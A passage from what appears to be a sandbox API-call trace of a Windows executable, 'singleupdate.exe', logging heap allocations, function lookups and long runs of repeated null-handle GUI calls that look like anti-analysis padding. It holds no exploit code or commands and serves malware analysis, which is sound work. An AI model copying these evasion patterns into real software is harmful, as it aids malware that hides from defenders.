(HeapHandle=0x7a0000, Flags=0x8, Size=0x14) returned 0x7bba58 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x24) returned 0x7ba6b8 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xd) returned 0x7c7818 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x17) returned 0x7bb7f8 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x2b) returned 0x7b2b28 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x15) returned 0x7bb8d8 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x17) returned 0x7bb8f8 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x22) returned 0x7ba718 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xe) returned 0x7c78c0 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xc1) returned 0x7ae268 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x3e) returned 0x7b2430 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1b) returned 0x7aac70 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1d) returned 0x7c6d30 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x48) returned 0x7bbd38 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x12) returned 0x7bb938 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x18) returned 0x7bb998 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1b) returned 0x7c6f38 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x24) returned 0x7ba7a8 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x29) returned 0x7b2ee0 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1e) returned 0x7c6f60 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x6b) returned 0x7b7558 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x17) returned 0x7bbaf8 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xf) returned 0x7c7800 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x16) returned 0x7bb978 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x28) returned 0x7ba7d8 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x27) returned 0x7cadf0 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x12) returned 0x7bb9b8 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x21) returned 0x7cb240 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x10) returned 0x7c7920 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1c) returned 0x7c6fd8 [0137.712] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x12) returned 0x7bb9d8 [0137.712] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c5e88 | out: hHeap=0x7a0000) returned 1 [0137.712] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0137.712] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionEx") returned 0x75efebc0 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="InitOnceExecuteOnce") returned 0x74f95550 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventExW") returned 0x75efeb20 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreW") returned 0x75efeb90 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreExW") returned 0x75efeb80 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolTimer") returned 0x75ea6d30 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolTimer") returned 0x77bfd7c0 [0137.713] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77bfb840 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolTimer") returned 0x77bfb740 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWait") returned 0x75ea6d70 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolWait") returned 0x77bfc0b0 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWait") returned 0x77bfbe10 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="FlushProcessWriteBuffers") returned 0x77c22b20 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77c18e50 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessorNumber") returned 0x77c152f0 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSymbolicLinkW") returned 0x75ea4510 [0137.714] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentPackageId") returned 0x74f9e260 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount64") returned 0x75ea0db0 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileInformationByHandleEx") returned 0x75ea43d0 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileInformationByHandle") returned 0x75eff110 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x75eff1e0 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="WakeConditionVariable") returned 0x77c88c50 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSRWLock") returned 0x77c13a00 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="AcquireSRWLockExclusive") returned 0x77bf58e0 [0137.715] GetProcAddress (hModule=0x75e90000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77c72ce0 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSRWLockExclusive") returned 0x77bf83a0 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableSRW") returned 0x7500fcf0 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWork") returned 0x75ea6db0 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="SubmitThreadpoolWork") returned 0x77bfeb00 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWork") returned 0x77bfed50 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringEx") returned 0x75ea7050 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoEx") returned 0x75ea7190 [0137.716] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringEx") returned 0x75ea7480 [0137.716] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x800) returned 0x7c5e88 [0137.716] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0137.717] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4321f2) returned 0x0 [0137.717] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7c1e90 [0137.717] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.717] GetProcAddress (hModule=0x74ea0000, lpProcName="CompareStringEx") returned 0x74f62c20 [0137.717] GetProcAddress (hModule=0x74ea0000, lpProcName="EnumSystemLocalesEx") returned 0x74f63a60 [0137.717] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="GetDateFormatEx") returned 0x74fd9b40 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="GetLocaleInfoEx") returned 0x74f8f170 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="GetTimeFormatEx") returned 0x74fd9e10 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="GetUserDefaultLocaleName") returned 0x74f94220 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="IsValidLocaleName") returned 0x74f8ed60 [0137.718] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="LCIDToLocaleName") returned 0x74f8da50 [0137.718] GetProcAddress (hModule=0x74ea0000, lpProcName="LocaleNameToLCID") returned 0x74f6bac0 [0137.718] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x20) returned 0x7c6df8 [0137.718] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7c1fe0 [0137.718] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1fe0 | out: hHeap=0x7a0000) returned 1 [0137.718] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7c1f30 [0137.719] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7c1f10 [0137.719] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x18) returned 0x7bba18 [0137.719] GetLastError () returned 0x0 [0137.719] SetLastError (dwErrCode=0x0) [0137.719] GetLastError () returned 0x0 [0137.719] SetLastError (dwErrCode=0x0) [0137.719] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7b7cf8 [0137.719] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7cb8c0 [0137.719] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cb8c0 | out: hHeap=0x7a0000) returned 1 [0137.719] GetLastError () returned 0x0 [0137.719] SetLastError (dwErrCode=0x0) [0137.719] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7c1fe0 [0137.719] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7c1f50 [0137.720] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7c1fc0 [0137.720] GetLastError () returned 0x0 [0137.720] SetLastError (dwErrCode=0x0) [0137.720] GetLastError () returned 0x0 [0137.720] SetLastError (dwErrCode=0x0) [0137.720] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7afc28 [0137.720] GetLastError () returned 0x0 [0137.720] SetLastError (dwErrCode=0x0) [0137.720] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7cb8c0 [0137.720] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cb8c0 | out: hHeap=0x7a0000) returned 1 [0137.720] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1fe0 | out: hHeap=0x7a0000) returned 1 [0137.720] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b7cf8 | out: hHeap=0x7a0000) returned 1 [0137.720] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1fc0 | out: hHeap=0x7a0000) returned 1 [0137.720] GetLastError () returned 0x0 [0137.720] SetLastError (dwErrCode=0x0) [0137.720] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7c1f70 [0137.720] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7c1fc0 [0137.720] GetLastError () returned 0x0 [0137.720] SetLastError (dwErrCode=0x0) [0137.720] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x200) returned 0x7c73a0 [0137.720] GetLastError () returned 0x0 [0137.720] SetLastError (dwErrCode=0x0) [0137.721] GetLastError () returned 0x0 [0137.721] SetLastError (dwErrCode=0x0) [0137.721] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7c1e50 [0137.721] GetLastError () returned 0x0 [0137.721] SetLastError (dwErrCode=0x0) [0137.721] GetLastError () returned 0x0 [0137.721] SetLastError (dwErrCode=0x0) [0137.721] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7b7cf8 [0137.721] GetLastError () returned 0x0 [0137.721] SetLastError (dwErrCode=0x0) [0137.721] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7cb8c0 [0137.721] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cb8c0 | out: hHeap=0x7a0000) returned 1 [0137.721] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1f70 | out: hHeap=0x7a0000) returned 1 [0137.721] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7afc28 | out: hHeap=0x7a0000) returned 1 [0137.721] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1e50 | out: hHeap=0x7a0000) returned 1 [0137.721] GetLastError () returned 0x0 [0137.721] SetLastError (dwErrCode=0x0) [0137.721] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7c1f70 [0137.721] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1fc0 | out: hHeap=0x7a0000) returned 1 [0137.721] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1f50 | out: hHeap=0x7a0000) returned 1 [0137.721] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7c1ea0 [0137.722] GetStartupInfoW (in: lpStartupInfo=0x19ff00 | out: lpStartupInfo=0x19ff00*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0137.722] CoInitialize (pvReserved=0x0) returned 0x0 [0138.217] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fde4, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fe00 | out: pSid=0x19fe00*=0x7c79c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0138.217] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fe2c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fdfc | out: pSid=0x19fdfc*=0x7c7878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0138.217] SetEntriesInAclA () returned 0x0 [0138.468] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x7bbb78 [0138.468] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x7bbb78, dwRevision=0x1 | out: pSecurityDescriptor=0x7bbb78) returned 1 [0138.468] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x7bbb78, bDaclPresent=1, pDacl=0x7c9d98, bDaclDefaulted=0 | out: pSecurityDescriptor=0x7bbb78) returned 1 [0138.469] CM_Delete_Range (ullStartValue=0x0, ullEndValue=0x0, rlh=0x0, ulFlags=0x0) returned 0x11 [0138.469] CM_Detect_Resource_Conflict (in: dnDevInst=0x0, ResourceID=0x0, ResourceData=0x0, ResourceLen=0x0, pbConflictDetected=0x0, ulFlags=0x0 | out: pbConflictDetected=0x0) returned 0x5 [0138.469] LockResource (hResData=0x0) returned 0x0 [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.469] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0138.470] SetForegroundWindow (hWnd=0x0) returned 0 [0138.470] CreateSolidBrush (color=0xc8ffff) returned 0x42100537 [0138.470] UnhookWindowsHookEx (hhk=0x0) returned 0 [0138.470] GetConsoleWindow () returned 0x0 [0138.470] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0138.470] SetRect (in: lprc=0x19fc90, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fc90) returned 1 [0138.470] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7c1f50 [0138.470] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x20) returned 0x7c70a0 [0138.470] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x10) returned 0x7c7770 [0138.471] GetLastError () returned 0x578 [0138.471] SetLastError (dwErrCode=0x578) [0138.471] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x10) returned 0x7c7758 [0138.471] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7770 | out: hHeap=0x7a0000) returned 1 [0138.471] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7758 | out: hHeap=0x7a0000) returned 1 [0138.471] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c70a0 | out: hHeap=0x7a0000) returned 1 [0138.471] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1f50 | out: hHeap=0x7a0000) returned 1 [0138.471] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1388000) returned 0x23e1020 [0138.538] GetLastError () returned 0x578 [0138.538] GetSysColor (nIndex=22) returned 0xe3e3e3 [0138.538] CreatePen (iStyle=0, cWidth=1, color=0xe3e3e3) returned 0x3630060b [0138.538] GetDlgItem (hDlg=0x0, nIDDlgItem=144) returned 0x0 [0138.538] GetClientRect (in: hWnd=0x0, lpRect=0x19fc90 | out: lpRect=0x19fc90) returned 0 [0138.538] GetDC (hWnd=0x0) returned 0x10105d6 [0138.539] PathCompactPathA (in: hDC=0x10105d6, pszPath="", dx=0x0 | out: pszPath="") returned 1 [0138.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0138.539] GetDlgItem (hDlg=0x0, nIDDlgItem=144) returned 0x0 [0138.539] GetClientRect (in: hWnd=0x0, lpRect=0x19fc90 | out: lpRect=0x19fc90) returned 0 [0138.539] GetDC (hWnd=0x0) returned 0x60100ce [0138.539] PathCompactPathA (in: hDC=0x60100ce, pszPath="", dx=0x0 | out: pszPath="") returned 1 [0138.539] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0138.540] LocalFree (hMem=0x7c9d98) returned 0x0 [0138.540] LocalFree (hMem=0x7bbb78) returned 0x0 [0138.540] CoCreateInstance (in: rclsid=0x498280*(Data1=0xbcde0395, Data2=0xe52f, Data3=0x467c, Data4=([0]=0x8e, [1]=0x3d, [2]=0xc4, [3]=0x57, [4]=0x92, [5]=0x91, [6]=0x69, [7]=0x2e)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x498270*(Data1=0xa95664d2, Data2=0x9614, Data3=0x4f35, Data4=([0]=0xa7, [1]=0x46, [2]=0xde, [3]=0x8d, [4]=0xb6, [5]=0x36, [6]=0x17, [7]=0xe6)), ppv=0x19fe48 | out: ppv=0x19fe48*=0x7b7380) returned 0x0 [0139.566] MMDeviceEnumerator:IMMDeviceEnumerator:GetDefaultAudioEndpoint (in: This=0x7b7380, dataFlow=0x0, role=0x0, ppEndpoint=0x19fe4c | out: ppEndpoint=0x19fe4c*=0x7b30a0) returned 0x0 [0139.567] IMMDevice:Activate (in: This=0x7b30a0, iid=0x498290, dwClsCtx=0x17, pActivationParams=0x0, ppInterface=0x19fdfc | out: ppInterface=0x19fdfc) returned 0x0 [0140.782] GetLastError () returned 0x5ad [0140.782] SetLastError (dwErrCode=0x5ad) [0140.782] GetLastError () returned 0x5ad [0140.782] SetLastError (dwErrCode=0x5ad) [0140.782] GetLastError () returned 0x5ad [0140.782] SetLastError (dwErrCode=0x5ad) [0140.782] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x86) returned 0x7d4138 [0140.783] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0140.784] GetEnvironmentStrings () returned 0x82b200* [0140.784] SetWindowWord (hWnd=0x0, nIndex=0, wNewWord=0x90) returned 0x0 [0140.784] SHIsLowMemoryMachine (dwType=0x0) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, 